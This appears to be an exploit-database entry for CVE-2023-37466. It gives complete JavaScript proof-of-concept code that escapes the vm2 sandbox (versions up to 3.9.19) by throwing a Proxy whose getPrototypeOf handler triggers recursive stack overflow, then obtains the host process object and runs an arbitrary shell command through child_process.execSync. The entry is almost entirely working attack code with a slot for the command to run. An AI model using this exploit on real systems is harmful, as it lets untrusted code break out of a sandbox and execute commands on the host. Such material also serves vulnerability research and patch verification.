Vm2 sandbox escape Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-03-16 | Type : local | Platform : multiple

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[+] Code ...

/*
# Exploit Title: vm2 Sandbox Escape vulnerability
# Date: 23/12/2023
# Exploit Author: Calil Khalil & Adriel Mc Roberts
# Vendor Homepage: https://github.com/patriksimek/vm2
# Software Link: https://github.com/patriksimek/vm2
# Version: vm2 <= 3.9.19
# Tested on: Ubuntu 22.04
# CVE : CVE-2023-37466
*/

const { VM } = require("vm2");
const vm = new VM();

const command = 'pwd'; // Change to the desired command

const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}

try {
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy({}, handler);

throw proxiedErr;
} catch ({ constructor: c }) {
const childProcess = c.constructor('return process')().mainModule.require('child_process');
childProcess.execSync('${command}');
}
`;

console.log(vm.run(code));